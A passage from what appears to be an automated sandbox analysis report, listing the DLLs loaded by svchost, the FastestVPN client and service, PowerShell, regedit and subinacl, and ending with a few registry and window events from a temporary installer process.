    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: mscoree.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: apphelp.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: version.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: uxtheme.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: cryptsp.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: rsaenh.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: cryptbase.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: dwrite.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: msvcp140_clr0400.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: sspicli.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: mswsock.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: windows.storage.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: wldp.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: profapi.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: dwmapi.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: d3d9.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: d3d10warp.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: urlmon.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: iertutil.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: srvcli.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: netutils.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: windowscodecs.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: wtsapi32.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: winsta.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: powrprof.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: umpdc.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: dataexchange.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: d3d11.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: dcomp.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: dxgi.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: twinapi.appcore.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: resourcepolicyclient.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: dxcore.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: textshaping.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: textinputframework.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: coreuicomponents.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: coremessaging.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: ntmarta.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: coremessaging.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: wintypes.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: wintypes.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: wintypes.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: msctfui.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: uiautomationcore.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: propsys.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: d3dcompiler_47.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: winmm.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: msasn1.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: riched20.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: usp10.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: msls31.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: gpapi.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: wbemcomn.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: amsi.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: userenv.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: mscoree.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: version.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: windows.storage.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: wldp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: profapi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: cryptsp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: rsaenh.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: cryptbase.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: urlmon.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: iertutil.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: srvcli.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: netutils.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: sspicli.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: propsys.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: msasn1.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: riched20.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: usp10.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: msls31.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: gpapi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: cryptnet.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: winnsi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: winhttp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: ondemandconnroutehelper.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: mswsock.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: dhcpcsvc6.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: dhcpcsvc.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: webio.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: dnsapi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: rasadhlp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: fwpuclnt.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: apphelp.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: mfc42u.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: msvcirt.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: msvcp60.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: version.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: netapi32.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: mpr.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: clusapi.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: samlib.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: dnsapi.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: srvcli.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: netutils.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: logoncli.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: samcli.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: uxtheme.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: ntmarta.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: mscoree.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: version.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: windows.storage.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: wldp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: profapi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: mswsock.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: cryptsp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: rsaenh.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: cryptbase.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: httpapi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: urlmon.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: iertutil.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: srvcli.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: netutils.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: sspicli.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: propsys.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: dnsapi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: rasadhlp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: fwpuclnt.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: napinsp.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: pnrpnsp.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshbth.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winrnr.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
    Source: C:\Windows\regedit.exeSection loaded: authz.dll
    Source: C:\Windows\regedit.exeSection loaded: aclui.dll
    Source: C:\Windows\regedit.exeSection loaded: ulib.dll
    Source: C:\Windows\regedit.exeSection loaded: clb.dll
    Source: C:\Windows\regedit.exeSection loaded: uxtheme.dll
    Source: C:\Windows\regedit.exeSection loaded: ntdsapi.dll
    Source: C:\Windows\regedit.exeSection loaded: xmllite.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: qmgr.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: bitsperf.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: firewallapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: esent.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: fwbase.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: bitsigd.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: upnp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ssdpapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: urlmon.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: srvcli.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wsmauto.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: miutils.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wsmsvc.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dsrole.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: pcwum.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: mi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wkscli.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: webio.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: usermgrcli.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: execmodelclient.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: coremessaging.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: twinapi.appcore.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: resourcepolicyclient.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: vssapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: vsstrace.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: samcli.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: samlib.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: es.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: bitsproxy.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: schannel.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: mskeyprotect.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ncryptsslp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: rsaenh.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: mpr.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: mscoree.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: version.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: uxtheme.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: cryptsp.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: rsaenh.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: cryptbase.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: dwrite.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: msvcp140_clr0400.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: sspicli.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: mswsock.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: windows.storage.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: wldp.dll
    Source: C:\Program Files\FastestVPN\FastestVPN.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: linkinfo.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntshrui.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cscapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: taskflowdatauser.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cdp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: umpdc.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dsreg.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwnerJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpWindow found: window name: TMainFormJump to behavior
